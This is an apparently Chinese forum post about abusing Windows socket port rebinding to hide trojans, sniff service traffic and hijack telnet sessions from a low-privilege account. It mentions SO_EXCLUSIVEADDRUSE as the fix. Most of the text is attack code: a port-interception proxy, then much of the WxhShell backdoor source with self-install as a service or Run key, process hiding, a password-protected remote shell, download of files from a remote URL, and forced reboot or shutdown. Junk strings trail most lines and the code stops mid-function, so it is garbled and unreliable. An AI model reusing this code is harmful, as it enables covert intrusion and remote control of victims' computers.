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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Dx5X6t9=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @"G+kLv0  
A/c#2  
  saddr.sin_family = AF_INET; chE}TK  
{44#<A<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ) w1`<7L  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c<a)Yqf"]  
*yZ `aKfH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }1#prQ0F  
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  这意味着什么?意味着可以进行如下的攻击: XkhGU?={  
67g"8R#.V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FX1H2N(  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X=KC +1e  
W8_$]}G8E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sx n{uRF  
Rz#q68  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k.ttrKy<q/  
;EB^1*A Ew  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `oU|U!|  
dLfB){>S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0NF=7 j  
VTwDa*]AhB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6dncUfB  
oMNSQMlI  
  #include T'> MXFLh  
  #include ='t}d>l  
  #include %X BMi ~  
  #include    vB%os Qm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +,1 Ea )  
  int main() 1N}vz(0"  
  { eBWgAf.k  
  WORD wVersionRequested; 4q"4N2  
  DWORD ret; ~Z~V:~  
  WSADATA wsaData; o1?S*  
  BOOL val; :2.<JUDM  
  SOCKADDR_IN saddr; 0T7t.  
  SOCKADDR_IN scaddr; z*UgRLKZD  
  int err; )*XD"-9  
  SOCKET s; v&qL r+_7  
  SOCKET sc; IG Ax+3V  
  int caddsize; }a%1$>sj  
  HANDLE mt; EO`eg]  
  DWORD tid;   ?2%;VKN4  
  wVersionRequested = MAKEWORD( 2, 2 ); aD+4uGN  
  err = WSAStartup( wVersionRequested, &wsaData ); wJZuJ(  
  if ( err != 0 ) { O.DO,]Uh  
  printf("error!WSAStartup failed!\n"); {e5DQ21.  
  return -1; iax0V  
  } /Nkxb&  
  saddr.sin_family = AF_INET; *M ^ <oG  
   5P{[8PZxbV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cLf<YF  
,M9e *  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bq2f?uD-}  
  saddr.sin_port = htons(23); FeZ*c~q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :8`~dj.  
  { 3rY\y+m  
  printf("error!socket failed!\n"); y_' 6bpb  
  return -1; \10KIAQ  
  } Z(XohWe2  
  val = TRUE; -wT!g;v;%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ` {qt4zd0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $^_6,uBM[  
  { .e5d#gE0  
  printf("error!setsockopt failed!\n"); _=cU2  
  return -1; jV[;e15+  
  } Z (t7QFd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !FwNq'Q8$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |R2p^!m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pm=m~  
.8->n aj|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N% ?R(  
  { _X|prIOb=  
  ret=GetLastError(); WvZt~x&2  
  printf("error!bind failed!\n"); Z9.0#Jnu  
  return -1; iu?gZVyka  
  } Bi2 c5[3  
  listen(s,2); shR|  
  while(1) K3Bw3j 9  
  { e#)NYcr6  
  caddsize = sizeof(scaddr);  wX5q=I  
  //接受连接请求 d N$,AOT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dVUe!S`  
  if(sc!=INVALID_SOCKET) W4,'?o  
  { ('{aOiSH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CBv0fQtL  
  if(mt==NULL) PXyv);#Q`  
  { ):[}NDmC  
  printf("Thread Creat Failed!\n"); p|(SR~;6  
  break; HB{'MBs  
  } OD9z7*E@  
  } <DP8a<{{  
  CloseHandle(mt); $ x:N/mMu`  
  } wTD}c1J(  
  closesocket(s); RRXp9{x`  
  WSACleanup(); 51u\am'T  
  return 0; @dUN3,}  
  }   ?5jLN&A3 G  
  DWORD WINAPI ClientThread(LPVOID lpParam) p="0Y<2l  
  { Xo:Mar  
  SOCKET ss = (SOCKET)lpParam; 2e-`V5{)b  
  SOCKET sc; x0b=r!Duu  
  unsigned char buf[4096]; zO---}[9a  
  SOCKADDR_IN saddr; x5CMP%}d  
  long num; ?% [~J  
  DWORD val; r ^\(M {  
  DWORD ret; "X^<g{]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fZj,Q#}D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S43JaSw)  
  saddr.sin_family = AF_INET; O ,9^R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J&s$Wqf  
  saddr.sin_port = htons(23); ^vPsp?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d]Y;rqjue  
  { 0-[naGz  
  printf("error!socket failed!\n"); Lg~C:BN F  
  return -1; C[}UQod0  
  } j!w{  
  val = 100; \+#EO%sN1%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _-lE$ O  
  { =kfa1kD&{  
  ret = GetLastError(); )|vy}Jf7  
  return -1; s[sv4hq  
  } 14" 57Jt8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J jm={+@+  
  { eZ+6U`^t  
  ret = GetLastError(); .>eRX%  
  return -1; NhCucSU<K  
  } P1Z"}Qw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /OWwC%tM/  
  { BvsSrse  
  printf("error!socket connect failed!\n"); oOaFA+0x  
  closesocket(sc); |?#JCG  
  closesocket(ss); A[8m3L#k  
  return -1; E]rXp~AZm  
  } +C8O"  
  while(1) e b} P/  
  { *!ng)3#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ps>:|j+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 . }/8 ]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $L 8>Ha}  
  num = recv(ss,buf,4096,0); }%8ZN :  
  if(num>0) 0cE9O9kE  
  send(sc,buf,num,0);  0U@#&pUc  
  else if(num==0) mf3,V|>[\  
  break; &hO-6(^I  
  num = recv(sc,buf,4096,0); cZQ8[I  
  if(num>0) W~0rSVD$<z  
  send(ss,buf,num,0); MzX&|wimb  
  else if(num==0) =T,Q7Dh  
  break; Sz@z 0'  
  } T{k_3[{0o  
  closesocket(ss); Jz~:  
  closesocket(sc); !9WGZfK+0Y  
  return 0 ; 4hy -M>!D|  
  } ;_vhKU)%J#  
9e=}P L  
-R]0cefC<f  
========================================================== Bd <0}  
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下边附上一个代码,,WXhSHELL zXx/\B$&d*  
Lo%vG{yTr  
========================================================== -dixiJ=  
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#include "stdafx.h" g ns}%\,  
\^*:1=|7u]  
#include <stdio.h> D9[19,2r`  
#include <string.h> 1oej<67PdJ  
#include <windows.h> A{ ~D_q  
#include <winsock2.h> -n&&d8G^s  
#include <winsvc.h> :31_WJ^  
#include <urlmon.h> wKLYyetM!  
e{@RBYX@+c  
#pragma comment (lib, "Ws2_32.lib") J`U]Ux/L  
#pragma comment (lib, "urlmon.lib") /iFn =pk1?  
V ml 6\X  
#define MAX_USER   100 // 最大客户端连接数 wn5OgXxG<  
#define BUF_SOCK   200 // sock buffer TvDSs])  
#define KEY_BUFF   255 // 输入 buffer =^rt?F4  
lc[6Mpi7s[  
#define REBOOT     0   // 重启 nsR CDUCi  
#define SHUTDOWN   1   // 关机 xqzeBLU  
.DhI3'Jrl  
#define DEF_PORT   5000 // 监听端口 Qc3d<{7\~  
ng3ZK  
#define REG_LEN     16   // 注册表键长度 /=S@3?cQAB  
#define SVC_LEN     80   // NT服务名长度 ~^1y(-cw  
UHZ&7jfl  
// 从dll定义API 5_aj]"x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Eo6N'h>h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'vd&r@N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |@u2/U9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O~*i_t*i9{  
rJpr;QKf%  
// wxhshell配置信息 6}TunR  
struct WSCFG { Pp-N2t86#2  
  int ws_port;         // 监听端口 *~)6 sm  
  char ws_passstr[REG_LEN]; // 口令 |O_ JUl  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]ub"OsXC  
  char ws_regname[REG_LEN]; // 注册表键名 C8|V?bL  
  char ws_svcname[REG_LEN]; // 服务名 &))d],tJX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YCD |lL#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /P*XB%y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t2o{=!$WH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k sv]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o~~;I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }QCnN2bV  
|reA`&<q  
}; !FL"L 9   
;#85 _/  
// default Wxhshell configuration 9r].rzf9  
struct WSCFG wscfg={DEF_PORT, fEZuv?@  
    "xuhuanlingzhe", <?KPyg2  
    1, =7<JD}G  
    "Wxhshell", $Q/@5f'T`9  
    "Wxhshell", HDH G~<s  
            "WxhShell Service", yjjq&Cn  
    "Wrsky Windows CmdShell Service", .7.lr[$g  
    "Please Input Your Password: ", 2T&MVl!%  
  1, PY5&Fwjc  
  "http://www.wrsky.com/wxhshell.exe", uCDe>Q4@/  
  "Wxhshell.exe" |#2WN-  
    }; { LvD\4h"  
ipwlP|UjQ5  
// 消息定义模块 z$?F^3>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ['IH*gi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hik.qK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?XHQdN3e  
char *msg_ws_ext="\n\rExit."; =~+ WJN  
char *msg_ws_end="\n\rQuit."; =xo0T 6  
char *msg_ws_boot="\n\rReboot..."; -Q n-w3~&  
char *msg_ws_poff="\n\rShutdown..."; 9>~pA]j%  
char *msg_ws_down="\n\rSave to "; ,W}:vdC  
( V4Ppg  
char *msg_ws_err="\n\rErr!"; y0d=  
char *msg_ws_ok="\n\rOK!"; eA4D.7HDK  
efXnF*Z  
char ExeFile[MAX_PATH]; j;3I`:  
int nUser = 0; ]Lub.r  
HANDLE handles[MAX_USER]; Z\nDR|3  
int OsIsNt; A9.TRKb=8  
vh a9,5_  
SERVICE_STATUS       serviceStatus; xsH1)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M@cFcykK  
1C<cwd;9  
// 函数声明 CeYhn\m5K0  
int Install(void); n5$#M  
int Uninstall(void); 4H#-2LV`  
int DownloadFile(char *sURL, SOCKET wsh); e34>q:#5l  
int Boot(int flag); :0r,.)  
void HideProc(void); e=0]8l>\V  
int GetOsVer(void); zKd@Ab  
int Wxhshell(SOCKET wsl); XDY]LAV  
void TalkWithClient(void *cs); 3(WijtH  
int CmdShell(SOCKET sock); +HS]kFH  
int StartFromService(void); FgH7YkKrD  
int StartWxhshell(LPSTR lpCmdLine); {XOl &  
i1B!oZ3q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |`LH|6/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j$)ogGu  
=LaEEL  
// 数据结构和表定义 Ek L2nI  
SERVICE_TABLE_ENTRY DispatchTable[] = ^p3 GT6  
{ "W7|Xp  
{wscfg.ws_svcname, NTServiceMain}, B->AY.&j  
{NULL, NULL} 4C*ywP  
}; (.4lsKN<  
Tvx1+0Z%z  
// 自我安装 wo@ T@Ve~  
int Install(void) OD8 fn  
{ ' h7Faj  
  char svExeFile[MAX_PATH]; -uYxc=4Lh  
  HKEY key; : "85w#r  
  strcpy(svExeFile,ExeFile); TDH^x1P  
|oPRP1F-;e  
// 如果是win9x系统,修改注册表设为自启动 36=aahXd\  
if(!OsIsNt) { (uC8M,I\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fu5L)P^T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]DNPG"  
  RegCloseKey(key); ]}v]j`9m%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bIU.C|h@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p [Po*c.b  
  RegCloseKey(key); hP"2X"kz&  
  return 0; Cy;UyZ  
    } q}LDFsU  
  } i\sBey ND"  
} >bW=oTFz  
else { 4mvR]: G  
E.K^v/dNdq  
// 如果是NT以上系统,安装为系统服务 joe)b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,CqWm9  
if (schSCManager!=0) "`% ,l|D  
{ [M\ an6h6O  
  SC_HANDLE schService = CreateService Jy(G A  
  ( ,';|CGI cP  
  schSCManager, {+J{t\`  
  wscfg.ws_svcname, PJ5}c!o[  
  wscfg.ws_svcdisp, ZwUBeyxS=c  
  SERVICE_ALL_ACCESS, ? "I %K%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q4u.v,sE  
  SERVICE_AUTO_START, ?AyxRbk  
  SERVICE_ERROR_NORMAL, 11oNlgY&  
  svExeFile, kOydh(yE  
  NULL, _*o <<C\E  
  NULL, Xz^nm\  
  NULL, =~;~hZj  
  NULL, .a@12J(I  
  NULL %YR&>j k  
  ); GLf!i1Z  
  if (schService!=0) r9ulTv}X  
  { J p?XV<3Z  
  CloseServiceHandle(schService); h.EI(Ev"GN  
  CloseServiceHandle(schSCManager); E{\CE1*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $lxpwO  
  strcat(svExeFile,wscfg.ws_svcname); gC1LQ!:;Oi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OijuOLt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h3@tZL#g  
  RegCloseKey(key); X)3(.L  
  return 0; JWb +  
    } aC,adNub  
  } p":u]Xgb  
  CloseServiceHandle(schSCManager); #^T`vTD-  
} z=>fBb>w7  
} G&*P*f1 S  
23?u_?+4i  
return 1; `>sOOA  
} D{+@ ,C7B  
u$d[&|`>_  
// 自我卸载 <\#'o}  
int Uninstall(void) *)E${\1'<  
{ d"FB+$  
  HKEY key; kSz+UMC-7:  
Tw-NIT)  
if(!OsIsNt) { WGv47i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KqG b+N-@  
  RegDeleteValue(key,wscfg.ws_regname); ~[Tcl  
  RegCloseKey(key); GQbr}xX. #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+P<zC  
  RegDeleteValue(key,wscfg.ws_regname); t W UI?\  
  RegCloseKey(key); <wS J K  
  return 0; @vl$[Z|  
  } !8G)` '  
} NVMn7H}>  
} w % Hj'  
else { M@.l# [@U  
Q5ASN"_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H^-Y]{7  
if (schSCManager!=0) :+"4_f0  
{ ;oOTL'Vu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4t[7lL`Z  
  if (schService!=0) l2LQV]l  
  { E+/Nicn=  
  if(DeleteService(schService)!=0) { tc'iKJ5)  
  CloseServiceHandle(schService); x$d[Ovw-  
  CloseServiceHandle(schSCManager); :M"+  
  return 0; F=qILwd  
  } #Pg#\v|7#>  
  CloseServiceHandle(schService); F+hV'{|w`  
  } 6BV 6<PHJ  
  CloseServiceHandle(schSCManager); g4Z Uh@b~  
} #|sE]\bsH  
} Lp&nO  
}h^ fX  
return 1; xrg"/?84  
} bY P8  
IS]A<}j/-  
// 从指定url下载文件 HUx`RX0>  
int DownloadFile(char *sURL, SOCKET wsh) b=EI?XwJ  
{ !P{ /;Q  
  HRESULT hr; |Y!^E % *  
char seps[]= "/"; cNd&C'/N  
char *token; `Q*`\-8J  
char *file; JQKXbsXS  
char myURL[MAX_PATH]; *ak0(yLn)  
char myFILE[MAX_PATH]; -9dZT  
RW&o3_Ua  
strcpy(myURL,sURL); <SNr\/aCRi  
  token=strtok(myURL,seps); *F( qg%1+  
  while(token!=NULL) Zv %>m  
  { ~<_#%R!  
    file=token; S>dHBR#AD  
  token=strtok(NULL,seps); V48_aL  
  } ? $/::uo  
qArR5OJ  
GetCurrentDirectory(MAX_PATH,myFILE); g kmof^  
strcat(myFILE, "\\"); U;bx^2<m  
strcat(myFILE, file); N*A*\B%{x'  
  send(wsh,myFILE,strlen(myFILE),0); Iy_5k8 ]  
send(wsh,"...",3,0); :<aGZ\R5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !}6'vq  
  if(hr==S_OK) gfggL&t(  
return 0; V(TtOuv  
else I">">  
return 1; ('7?"npd  
)x!q;^Js9A  
} 5,;\zSz  
u{4P)DIQ  
// 系统电源模块 +'m9b7+v  
int Boot(int flag) zLl-{Kk  
{ }5fd:Bm;  
  HANDLE hToken; f 6I)c$]Q  
  TOKEN_PRIVILEGES tkp; 5X^\AW  
X4o#kW  
  if(OsIsNt) { ~3s ?.[}d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y^]n>X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o`CM15d*7o  
    tkp.PrivilegeCount = 1; % f;v$rsZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RJ?)O#}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~m fG Yk"  
if(flag==REBOOT) { Q9cSrU[$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,[ 2N3iH  
  return 0; 7FH-l(W  
} M %,\2!$  
else { q;9X8 _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }C @xl9S"  
  return 0; &W>\Vl1  
} ,It0brF  
  } "7sv@I_j  
  else {  (7X  
if(flag==REBOOT) { QI[WXx p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uT]$R  
  return 0; 4]1/{</B|  
} 6?,qysm06  
else { xtGit}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J;>;K6pW  
  return 0; q!W,2xqZoq  
} ILCh1=?{9r  
} al#(<4sJ  
?J$k 5;  
return 1; 2}<tzDI'  
} N%Bl+7,q  
B\ 'rxbH  
// win9x进程隐藏模块 7z$53z  
void HideProc(void) 3fLdceT  
{ % (h6m${j  
;^:8F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k:n{AoUc  
  if ( hKernel != NULL ) PZ/ tkw  
  { ~xG/yPl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V(cU/Aia^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l8E))oz1T  
    FreeLibrary(hKernel); t5 >ma:^j  
  } q2#Ebw %]  
%rB,Gl:)g  
return; 1a9' *[  
} 1!1,{\9%  
8@vq.z}  
// 获取操作系统版本 :#vA5kC  
int GetOsVer(void) 1o5kP,)  
{ < R"Y^]P=  
  OSVERSIONINFO winfo; PoZ$3V$(Lz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^%*qe5J  
  GetVersionEx(&winfo); O4`.ohAZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zs^zD;zU  
  return 1; Q=!QCDO(  
  else tV4yBe<``  
  return 0; dZ" }wKbO  
} =0&XdxX  
H.?`90IQ  
// 客户端句柄模块 4r;le5@  
int Wxhshell(SOCKET wsl) pKXSJ"Xo  
{ hcU^!mp  
  SOCKET wsh; CXn?~m&K  
  struct sockaddr_in client; EE09 Er %\  
  DWORD myID; X,@nD@  
@j\;9>I/  
  while(nUser<MAX_USER) 3^Is4H_8  
{ tY#&_%W  
  int nSize=sizeof(client); u9:sj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oG22;  
  if(wsh==INVALID_SOCKET) return 1; euY+jc%  
K:XXtG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fBTNI`#  
if(handles[nUser]==0) &T-:`(  
  closesocket(wsh); "viZ"/ ~6  
else xe OfofC(l  
  nUser++; @/aJi6d"^E  
  } MuO(%.H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j^/<:e c.  
>WO;q  
  return 0; y-@`3hYM@  
} ^Zpz@T>m  
$lB!Q8a$  
// 关闭 socket "/O07l1Q<  
void CloseIt(SOCKET wsh) /slCK4vFc  
{ H1~9f {  
closesocket(wsh); DB"z93Mr<K  
nUser--; Z3zD4-p$_  
ExitThread(0); LP7jCt  
} =WF@S1  
`?&C5*P  
// 客户端请求句柄 w)go79  
void TalkWithClient(void *cs) c9gm%  
{ s'/_0  
;U0w<>4L  
  SOCKET wsh=(SOCKET)cs; J}Z\I Y,  
  char pwd[SVC_LEN]; uYFy4E3  
  char cmd[KEY_BUFF]; JWu0VLo  
char chr[1]; 0(5qVJ12  
int i,j; 3#fg 2  
5a6d3u/  
  while (nUser < MAX_USER) { {2xc/   
='I2&I,)  
if(wscfg.ws_passstr) { {'P?wv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Ogs]4   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7F]oK0l_  
  //ZeroMemory(pwd,KEY_BUFF); -iy17$  
      i=0; }K.)yv n  
  while(i<SVC_LEN) { P2>_qyX  
$XyDw|z[  
  // 设置超时 ty;a!yjC  
  fd_set FdRead; }q_Iep  
  struct timeval TimeOut; G"J 8i|~  
  FD_ZERO(&FdRead); <YG 42,N  
  FD_SET(wsh,&FdRead); 9;gy38.3  
  TimeOut.tv_sec=8; 5[6{o$I  
  TimeOut.tv_usec=0; 4M$"0}O;[h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hm 0;[i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K_j*9@  
L.9@rwfI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  (=%0x"'  
  pwd=chr[0]; s7`2ky()kz  
  if(chr[0]==0xd || chr[0]==0xa) { _B&;z $  
  pwd=0; zcV~)go6  
  break; *wdNZ  
  } EwfL.z  
  i++; M%13b$i~f  
    } J"eE9FLM  
RXO}mu]Iu  
  // 如果是非法用户,关闭 socket NljcHe}Qy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !{r@ H+Kf  
} 'cN3Vv k  
9$sx+=(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1b7Q-elG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 06af{FXsGb  
G`v(4`tA  
while(1) { uMFV^&ZF  
BC%V<6JBu(  
  ZeroMemory(cmd,KEY_BUFF); Y>i Qp/k:  
1N.weey}W  
      // 自动支持客户端 telnet标准   gfXit$s  
  j=0; FYaBP;@J%  
  while(j<KEY_BUFF) { KjV1->r#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +nFC&~q  
  cmd[j]=chr[0]; of_Om$  
  if(chr[0]==0xa || chr[0]==0xd) { ['c*<f" D2  
  cmd[j]=0; 7?Twhs.O  
  break; GKXd"8z]  
  } wx/*un%2  
  j++; aH$DEs  
    } !J }Q%i  
{us#(4O  
  // 下载文件 9Kc;]2m  
  if(strstr(cmd,"http://")) { (Ixmg=C6y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DRu#vC  
  if(DownloadFile(cmd,wsh)) Gd2t^tc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b9 l%5a  
  else !5zj+N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \S#![NC  
  } R5cpmCs@R  
  else { ];{CNDAL2  
d-UQc2r  
    switch(cmd[0]) { Eye.#~  
  # i|pi'I j  
  // 帮助 .gwT?O,  
  case '?': { om0g'Qa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OYIH**?  
    break; H3 |x  
  } w2]]##J  
  // 安装 Kb#Z(C9  
  case 'i': { ^,fMs:  
    if(Install()) u3vw[k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mm`yu$9gbP  
    else hRktvO)K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *edhJUT  
    break; Z=144n 1  
    } D0p>Q^w  
  // 卸载 JN<u4\e{-&  
  case 'r': { X./7b{Pax  
    if(Uninstall()) &Y8S! W@4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d+6-ten  
    else qJJ~#W)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Ht5!zuW,  
    break; vy5SBiK  
    } lT- LOu|  
  // 显示 wxhshell 所在路径 !-|{B3"6  
  case 'p': { fJOA5(  
    char svExeFile[MAX_PATH]; &n2dL->*#  
    strcpy(svExeFile,"\n\r"); 8(GJz ~y  
      strcat(svExeFile,ExeFile); -W"  w  
        send(wsh,svExeFile,strlen(svExeFile),0); 5PT*b}g@  
    break; 5l /EZ\q  
    } w;DRC5V>  
  // 重启 g5hMZPOmP  
  case 'b': { I(0 *cWO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 05[k@f$n  
    if(Boot(REBOOT)) FP h1}qS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wb (quu  
    else { kiR+ Dsl  
    closesocket(wsh); aL0,=g%  
    ExitThread(0); <.c#l':  
    } 8s<t* pI2  
    break; y(Ck j"  
    } `Ct fe8  
  // 关机 ood,k{  
  case 'd': { 2mPU /  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^yVKW5x  
    if(Boot(SHUTDOWN)) +FlO_=Bu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -x0u}I  
